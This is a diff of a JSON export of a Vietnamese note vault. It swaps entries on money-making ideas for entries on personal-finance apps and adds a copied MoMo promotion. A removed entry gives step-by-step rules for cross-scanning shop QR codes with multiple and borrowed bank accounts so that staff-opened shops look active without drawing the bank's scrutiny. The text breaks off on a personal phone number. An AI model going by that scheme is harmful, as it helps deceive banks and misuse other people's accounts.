liệu](https://www.google.com/search?client=firefox-b-d&q=c%C3%B4ng+vi%E1%BB%87c+nh%E1%BA%ADp+li%E1%BB%87u&ibp=htl;jobs&sa=X&ved=2ahUKEwiutrePjqOEAxU3mVYBHTTIAR8Qkd0GegQIFRAB#fpstate=tldetail&htivrt=jobs&htiq=c%C3%B4ng+vi%E1%BB%87c+nh%E1%BA%ADp+li%E1%BB%87u&htidocid=omPcbeASS8_ch7MVAAAAAA%3D%3D&sxsrf=ACQVn0-AbylAiRPxZZKN5JAMa-LruGLo4w:1707648427622){ .md-button .md-button--primary }\n", + "Toàn bộ nội dung": "Tên chương trình:: [[SaveDi]]\r\n\r\n```dataview\r\ntable \r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách nhập liệu\")) as \"Cách nhập liệu\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Cách phân loại\")) as \"Cách phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Chính sách giá\")) as \"Chính sách giá\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Giao diện\")) as \"Giao diện\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khả năng tích hợp\")) as \"Khả năng tích hợp\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Số lượng trường phân loại\")) as \"Số lượng trường phân loại\",\r\n\tfilter(tính-năng, (i)=>contains(i.file.folder, \"Khác\")) as \"Khác\"\r\nfrom outgoing([[]])\r\n```\r\n\r\nTính năng:\r\n```dataview\r\nlist \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6Y" }, { - "Tiêu đề": "Kiếm người cho tiền", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Kiếm người cho tiền", + "Tiêu đề": "Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên điện thoại]]\r\nTính năng:: [[Phân loại tự động theo quy luật]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Sử dụng phương pháp chi tiêu phù hợp hoàn cảnh mỗi người]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\nXem thêm:: [[Trấn Kỳ (quang cảnh thị trường)]]\r\n\r\n![[Chương trình quản lý chi tiêu cá nhân]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6818,14 +6816,14 @@ "id": "6Z" }, { - "Tiêu đề": "Tự kinh doanh, đầu tư", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Tự kinh doanh, đầu tư", + "Tiêu đề": "Maybe finance", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/Maybe finance", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n\r\n\r\n[[Đặc trưng của các dự án B2B là phải giao thiệp]]", + "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Là phần mềm tự do]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\nTốn hết $1,000,000 nhưng vẫn thất bại [https://github.com/maybe-finance/maybe](https://github.com/maybe-finance/maybe \"https://github.com/maybe-finance/maybe\")\r\n![](https://maybe.co/assets/screenshot-65d03882.png) \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6834,111 +6832,110 @@ "id": "6a" }, { - "Tiêu đề": "Việc làm thời vụ, theo dự án", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Việc làm thời vụ, theo dự án", + "Tiêu đề": "Momo", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/Momo", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên điện thoại]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Phân loại tự động theo mô hình ngôn ngữ lớn]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Không sao chép được dễ dàng]]\r\nTính năng:: [[Miễn phí]]\r\nTính năng:: [[Chỉ có vài trường cơ bản]]\r\nTính năng:: [[Trả tiền để làm phân loại]]\r\nTính năng:: [[Tự động lấy thông tin giao dịch ngay lúc quẹt mã]]\r\nTính năng:: [[Tích hợp được với ngân hàng]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\n\r\nTất cả người dùng tham gia làm nhiệm vụ **phân loại các giao dịch “chưa phân loại”**, chắc chắn sẽ nhận được quà ăn uống siêu xịn, cùng cơ hội trúng đậm tiền mặt 10K và giải thưởng đặc biệt mỗi tuần:\r\n\r\n| **Thời gian** | **Mốc trúng thưởng** | **Quà trúng thưởng** |\r\n| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- | --------------------------------------------------------------- |\r\n| 04/07 - 21/07 | Có tham gia chương trình | Thẻ quà ăn uống từ Boost Juice, ToCoToCo, Chickita, Veganizta,… |\r\n| 🎁 Tuần 1 (04/07 - 07/07) | 1.000 khách hàng có Giao dịch phân loại hợp lệ (*) sớm nhất có đuôi mã giao dịch đặc biệt (**) | Bao lì xì 10.000Đ |\r\n| Khách hàng thứ 666 trong danh sách 1.000 khách hàng bên trên. | Bao lì xì 5 triệu đồng | |\r\n| 🎁 Tuần 2 (08/0714/07) | 1.000 khách hàng có Giao dịch phân loại hợp lệ (*) sớm nhất có đuôi mã giao dịch đặc biệt (**) | Bao lì xì 10.000Đ |\r\n| Khách hàng thứ 666 trong danh sách 1.000 khách hàng bên trên. | 01 chỉ vàng SJC | |\r\n| 🎁 Tuần 3 (15/0721/07) | 1.000 khách hàng có Giao dịch phân loại hợp lệ (*) sớm nhất có đuôi mã giao dịch đặc biệt (**) | Bao lì xì 10.000Đ |\r\n| Khách hàng thứ 666 trong danh sách 1.000 khách hàng bên trên. | 01 Điện thoại iPhone 15 | |\r\n\r\n## (*) Định nghĩa Giao dịch phân loại “hợp lệ”\r\n\r\n**1.** Là các giao dịch c**ó giá trị tối thiểu là 10.000Đ, chưa được phân loại bởi hệ thống MoMo.**\r\n\r\n**2.** Đối với giao dịch Chuyển tiền (từ MoMo tới MoMo hoặc từ MoMo tới tài khoản ngân hàng), các giao dịch hợp lệ là giao dịch đầu tiên diễn ra trong chương trình của 1 cặp người chuyển-nhận.\r\n\r\n*Ví dụ: Bạn chuyển tiền 02 lần tới người nhận A và phân loại các giao dịch đó, hệ thống sẽ chỉ ghi nhận bạn có 01 Giao dịch “hợp lệ”*\r\n\r\n**3.** Đối với trường hợp nhiều người cùng chuyển và phân loại giao dịch tới 1 người nhận (ví dụ: quán ăn), giao dịch “hợp lệ” là giao dịch **mà danh mục phân loại của bạn phải giống danh mục được các người dùng khác tại MoMo phân loại nhiều nhất.** \r\n\r\n*Ví dụ: Một quán ăn nhận nhiều giao dịch chuyển tiền và được người dùng phân loại nhiều nhất là “Ăn uống”, nếu bạn cũng phân loại “Ăn uống”, giao dịch được tính là hợp lệ để nhận quà; nếu bạn phân loại là “Nhà cửa” - giao dịch của bạn sẽ không được tính là hợp lệ. Điều kiện này để đảm bảo **phân loại giao dịch chính xác** và **khuyến khích sử dụng đúng cách** sản phẩm trên MoMo.*\r\n\r\n## (**) Giao dịch được phân loại có 3 số cuối đuôi mã giao dịch đặc biệt\r\n\r\nLà các giao dịch được phân loại hợp lệ (*) có đuôi 3 chữ số cuối ở Mã Giao Dịch trùng với 3 số cuối giải 2 tỷ của **xổ số kiến thiết tỉnh Kiên Giang** ngày chủ nhật mỗi tuần, tính từ thứ 2 tới chủ nhật hàng tuần. Kết quả xổ số các ngày 7/7, 14/7, 21/7, được cập nhật tại Website: **https://nld.com.vn/ket-qua-xo-so-hom-nay.html**\r\n\r\n**Phân loại càng nhiều, cơ hội rinh giải thưởng lớn càng cao.** Tranh thủ tham gia ngay!\r\n\r\n## Hướng dẫn cách làm nhiệm vụ phân loại giao dịch\r\n\r\n![step0](https://homepage.momocdn.net/img/momo-amazone-s3-api-240705091303-638557675838648918.jpg)\r\n\r\n![step1](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)\r\n\r\n![step2](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)\r\n\r\n1\r\n\r\nChọn “Nhận quà ngay” ở cuối màn hình này\r\n\r\n2\r\n\r\nMàn hình sẽ xuất hiện các giao dịch chưa được phân loại ở “Sổ chi tiêu”\r\n\r\n3\r\n\r\nBấm vào thẻ danh mục và Lựa chọn các danh mục phù hợp để phân loại cho chi tiêu của bạn.\r\n\r\nHoặc, bạn cũng có thể phân loại giao dịch “Chưa phân loại” tại các tính năng khác có trên Quản Lý Chi Tiêu\r\n\r\n## Điều kiện điều khoản:\r\n\r\n- Chương trình chỉ áp dụng cho khách hàng MoMo nhận được thông báo trên ứng dụng MoMo, đã định danh tài khoản MoMo theo quy định của Ngân hàng Nhà nước trước khi tham gia chương trình, đang duy trì liên kết MoMo với tài khoản Ngân hàng trong suốt thời gian diễn ra chương trình.\r\n- Phần thưởng sẽ được trả trực tiếp vào Túi Thần Tài của khách hàng hoặc tại mục Ưu đãi > Quà của tôi trong vòng 7 ngày làm việc kể từ khi kết thúc chương trình. Riêng các phần quà giải đặc biệt sẽ được trả trong vòng 45 ngày làm việc kể từ khi kết thúc chương trình.\r\n- Giải thưởng 01 chỉ vàng SJC sẽ được quy đổi sang giá trị tiền mặt tương đương cố định (7.500.000 VNĐ), giải thưởng 01 iPhone 15 sẽ được quy đổi sang giá trị tiền mặt tương đương cố định (20.000.000 VNĐ) để trao thưởng cho khách hàng\r\n- MoMo có quyền thu hồi/ngừng áp dụng ưu đãi đối với trường hợp có dấu hiệu gian lận hoặc lợi dụng chương trình khuyến mãi để trục lợi.\r\n- Nếu xảy ra tranh chấp quyền lợi, quyết định của MoMo là quyết định cuối cùng\r\n- Chương trình có thể kết thúc sớm hơn dự kiến nếu hết ngân sách khuyến mãi.\r\n- Chương trình không áp dụng cho Khách hàng nằm trong danh sách hạn chế nhận ưu đãi của MoMo\r\n\r\nhttps://www.momo.vn/tin-tuc/khuyen-mai/lam-nhiem-vu-phan-loai-giao-dich-100-co-qua-0d-6156\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-22T11:55:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6b" }, { - "Tiêu đề": "Vị trí chính thức của một công ty", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/2 Hình thức/Vị trí chính thức của một công ty", + "Tiêu đề": "MoneyLover", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/MoneyLover", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu cần Nhật có thể [[Làm nhân viên ảo]] trong công ty, còn bạn thì làm những công việc công ty giao cho Nhật. Có thể CV của Nhật sẽ giúp tăng khả năng nhận được việc.\r\n\r\nXem thêm:: [[Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ]]", + "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên điện thoại]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Không sao chép được dễ dàng]]\r\nTính năng:: [[Freemium]]\r\nTính năng:: [[Tích hợp được với ngân hàng]]\r\nTính năng:: [[Chỉ có vài trường cơ bản]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:39:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6c" }, { - "Tiêu đề": "3 Ý tưởng", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/3 Ý tưởng", + "Tiêu đề": "PiPu", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/App quản lý chi tiêu/PiPu", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Kiếm tiền từ các hoạt động của Quả Cầu", - "Toàn bộ nội dung": "## Công việc thời vụ\n```dataview\nTable yêu-cầu-đầu-vào as \"Yêu cầu đầu vào\"\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ\" \nWHERE file.name != this.file.name\n```\n\n## Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện\n```dataview\nTable yêu-cầu-đầu-vào as \"Yêu cầu đầu vào\"\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện\" \nWHERE file.name != this.file.name\n```\n\n## Đi làm công ty\nHR: có template \n\n## Gia công giải pháp\n```dataview\nTable yêu-cầu-đầu-vào as \"Yêu cầu đầu vào\"\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp\" \nWHERE file.name != this.file.name\n```\n\n## Tự kinh doanh, đầu tư\n```dataview\nTable yêu-cầu-đầu-vào as \"Yêu cầu đầu vào\"\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư\" \nWHERE file.name != this.file.name\nSORT yêu-cầu-đầu-vào desc\n```\n## Nơi thảo luận\nTất cả các chủ đề có nhãn \"💸Tiền bạc\":\n![](https://i.imgur.com/4rJvMNB.png)", + "Toàn bộ nội dung": "Tính năng:: [[Nhập liệu được trên Telegram]]\r\nTính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Nhập được trên web]]\r\nTính năng:: [[Nhập được trên điện thoại]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Có người hỗ trợ sâu]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[100k mỗi tháng|100k/tháng]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\n![4 bài học nhớ đời khi lần đầu kinh doanh sản phẩm số - YouTube](https://www.youtube.com/watch?v=hta693y_BaY)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-24T09:59:00.000Z", - "Ngày cập nhật": "2024-08-27T09:07:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6d" }, { - "Tiêu đề": "Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện/Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện", + "Tiêu đề": "figr", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/figr", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có tên tuổi, uy tín, chứng nhận]]\r\nHình thức:: [[Chia sẻ, đào tạo, huấn luyện]]", + "Toàn bộ nội dung": "Tính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n[figr.app - Your notepad calculator](https://www.figr.app/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2024-08-02T10:39:00.000Z", "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6e" }, { - "Tiêu đề": "Huấn luyện lập trình 1-1", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện/Huấn luyện lập trình 1-1", + "Tiêu đề": "Beancount", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/Kế toán/Beancount", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có tên tuổi, uy tín, chứng nhận]]\r\nYêu cầu đầu vào:: [[Biết lập trình]]\r\nHình thức:: [[Chia sẻ, đào tạo, huấn luyện]]\r\n\r\n- Chạy thống kê\r\n- Cào web\r\n- Hệ thống quản lý kiến thức\r\n- Kiểm soát phiên bản (version control)\r\n- Nhập sự kiện vào Google Calendar\r\n- Phân loại dữ liệu tự động\r\n- Truy vấn dữ liệu\r\n- Tạo web tĩnh\r\n- Tạo đồ thị mạng lưới\r\n- Tự động hoá các công việc lặp đi lặp lại\r\n- Viết plugin, app script\r\n- WYSIWYM (LaTeX) \r\n- Xác định các chủ đề có trong ngữ liệu\r\n- Xây dựng hệ thống quản lý, báo cáo nhu cầu các bên\r\n- Tạo liên kết UTM rút gọn nhanh chóng\r\n", + "Toàn bộ nội dung": "Tính năng:: [[Nhập liệu được bằng file text]]\r\nTính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Tạo query phức tạp được]]\r\nTính năng:: [[Dùng được trên CLI]]\r\nTính năng:: [[Dễ dàng thiết lập việc tự động truyền dữ liệu sang các phần mềm khác]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[Dữ liệu chương trình lưu dưới dạng tập tin]]\r\nTính năng:: [[Điều khiển dễ dàng bằng bàn phím]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\nTính năng:: [[Là phần mềm tự do]]\r\nTính năng:: [[Miễn phí]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\nDemo: [Income Statement - Example Beancount file](https://fava.pythonanywhere.com/example-beancount-file/income_statement/)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-30T06:32:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6f" }, { - "Tiêu đề": "Hướng dẫn tìm hiểu các lĩnh vực", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Các buổi chia sẻ, lớp học, khoá đào tạo, buổi huấn luyện/Hướng dẫn tìm hiểu các lĩnh vực", + "Tiêu đề": "Misa", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/Kế toán/Misa", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có tên tuổi, uy tín, chứng nhận]]\nHình thức:: [[Chia sẻ, đào tạo, huấn luyện]]\n\n- Công cụ nghĩ, nhận thức tăng cường\n- Hệ thống niềm tin\n- Phát triển bền vững\n- Phát triển sản phẩm\n- Quản lý dự án nghiên cứu hoặc phi lợi nhuận độc lập\n- Khoa học nhận thức\n- Tâm lý\n- Triết học\n- Vật lý\n", + "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Nhập được bằng tập tin bảng tính]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Phân loại tự động theo mô hình ngôn ngữ lớn]]\r\nTính năng:: [[Có người hỗ trợ sâu]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[Xuất được kết quả ra dạng bảng tính]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n\r\n\r\nMisa áp dụng ChatGPT để phân loại hoá đơn đầu vào thành hàng hoá, thành phẩm, nguyên vật liệu, dịch vụ\r\n

    [MISA ASP] Tự động hạch toán hóa đơn đầu vào dựa trên việc ứng dụng công nghệ AI, Chat GPT, Big Data from MISA JSC on Vimeo.

    \r\n\r\n\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-30T06:32:00.000Z", - "Ngày cập nhật": "2024-08-27T09:44:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6g" }, { - "Tiêu đề": "Chạy sự kiện, hậu cần, truyền thông, shipper, telesale, BPO", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Chạy sự kiện, hậu cần, truyền thông, shipper, telesale, BPO", + "Tiêu đề": "SaveDi", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/SaveDi", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Cần người làm truyền thông cho [[Tạo sinh kế, thu nhập, dòng tiền|Các ý tưởng kiếm tiền từ các hoạt động của Quả Cầu]]", + "Toàn bộ nội dung": "Tính năng:: [[Nhập được trên máy tính]]\r\nTính năng:: [[Phân loại bằng tay]]\r\nTính năng:: [[Có GUI]]\r\nTính năng:: [[Sao chép kết quả sang chương trình khác được]]\r\nTính năng:: [[Xuất được kết quả ra dạng bảng tính]]\r\nTính năng:: [[Chỉ có vài trường cơ bản]]\r\nTính năng:: [[Thêm được nhiều trường phân loại]]\r\nTính năng:: [[Freemium]]\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n[SaveDi v1.0 - Google Sheets](https://docs.google.com/spreadsheets/d/1tsGtsqxDQQ0KqBAotiEunys9wQbAJNbkmIg7iC4n3J0/edit#gid=964331749)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -6947,142 +6944,143 @@ "id": "6h" }, { - "Tiêu đề": "Quét mã chéo", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Cộng tác viên cho nhân viên công ty/Quét mã chéo", + "Tiêu đề": "Soulver", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/Soulver", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có nhiều tài khoản hoặc thẻ ngân hàng]]\n\n## Mỗi mã QR cần được quét 13 lần\n- Mỗi giao dịch phải ít nhất 20k. Mỗi cửa hàng cần tối thiểu 13 giao dịch để được công nhận là đang hoạt động\n- Mỗi cửa hàng có một mã QR. Mỗi giao dịch là một lần quét mã QR đó\n- Nghĩa là với mỗi mã QR cần được quét 13 lần, mỗi lần 20-25k. Tổng cộng mỗi mã tốn tầm 300k. 10 mã là 130 lần quét với số tiền là 3tr\n## Mỗi tài khoản ngân hàng chỉ được quét 1 lần/1 buổi/1 mã/1 nhân viên công ty\n- Một ngày chia làm 3 buổi sáng, trưa, chiều. Chỉ có 3 khung giờ này vì các cửa hàng đều là ăn uống. Không quét đêm được vì các cửa hàng đều đã đóng cửa\n- Chỉ được phép có tối đa 2 tài khoản ngân hàng (TK) trùng tên\n- Mỗi nhân viên công ty (NV) sẽ có 10 mã QR\n- Mỗi TK chỉ được quét 1 lần/1 buổi/1 mã/1 NV. Mục đích là để hệ thống không thắc mắc vì sao chỉ có đúng một TK cho các cửa hàng mở bởi một NV. Các buổi khác nhau có thể dùng lại TK đó để quét lại mã đó\n\nMột người có thể dùng nhiều TK để quét trong một buổi để tiết kiệm thời gian nếu mượn được TK của người khác \n## Tính toán\n### Nếu có 10 mã của 1 NV (130 lần quét) \n- 1 TK chỉ quét được 1 lần/buổi, 3 lần/ngày. Tổng cộng 43 ngày\n- 5 TK sẽ quét được 15 lần/ngày. Tổng cộng 14 ngày\n- 10 TK sẽ quét được 30 lần/ngày. Tổng cộng 5 ngày\n- 15 TK sẽ quét được 45 lần/ngày. Tổng cộng 3 ngày\n### Nếu có 20 mã của 2 NV (260 lần quét) \n- 1 TK chỉ quét được 2 lần/buổi, 6 lần/ngày. Tổng cộng 43 ngày\n- 5 TK sẽ quét được 10 lần/buổi, 30 lần/ngày. Tổng cộng 9 ngày\n- 10 TK sẽ quét được 20 lần/buổi, 60 lần/ngày. Tổng cộng 5 ngày\n- 15 TK sẽ quét được 30 lần/buổi, 90 lần/ngày. Tổng cộng 3 ngày\n## Quy trình làm việc\nMọi thứ sẽ nhanh hơn nếu:\n- Để nhiều mã cùng hiện ra trên màn hình lap, \n- Cài đặt vân tay,\n- Xếp các app theo thứ tự trên một màn hình chủ\n\nTốn thời gian nhất là phải chuyển app. Chứ quẹt xong mã này nó có ngay nút khác để quẹt sang mã khác. Nên cái này có lẽ càng có nhiều NV ảo càng có nhiều mã để quẹt cùng lúc, thì hiệu quả quẹt sẽ càng tăng\n\n> [!NOTE] Thời gian quét\n> Giả sử 10 giây quét xong một lần, thì quét 30 lần tốn 300 giây, tức 5 phút. Đó là lý thuyết. Thử nghiệm lần đầu cho thấy tốn 13 lần quẹt trong 15 phút.\n\n> [!attention] Các ngân hàng không làm tốt với VNPAY\n> - **Shinhan**, **TP**, **VP** không ghi rõ tên giao dịch với cửa hàng nào khi quẹt VNPAY, dù vẫn chuyển được\n> - **Kiên Long** không quẹt được VNPAY, dù quẹt TK ngân hàng bình thường khác vẫn được. MSB có thể được, cần kiểm tra lại\n> \n> Xem thêm:: [[Ghi chú về các app ngân hàng]]\n\n![](https://i.imgur.com/Q7KcLn6.png)\n\n", + "Toàn bộ nội dung": "Tính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\nTính năng::\r\n\r\nLoại chương trình: `=filter(this.file.inlinks, (i)=>contains(i.file.folder, \"Loại chương trình\"))`\r\n[Soulver 3 - Notepad Calculator App for Mac, iPad & iPhone](https://soulver.app/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-25T06:20:00.000Z", - "Ngày cập nhật": "2024-08-27T09:43:00.000Z", + "Ngày tạo": "2024-08-02T10:39:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6i" }, { - "Tiêu đề": "Viết hợp đồng, thu thập thông tin", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Cộng tác viên cho nhân viên công ty/Viết hợp đồng, thu thập thông tin", + "Tiêu đề": "Trấn Kỳ (quang cảnh thị trường)", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/5 Tên chương trình/Trấn Kỳ (quang cảnh thị trường)", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- **Liên hệ:** 0777850094 - 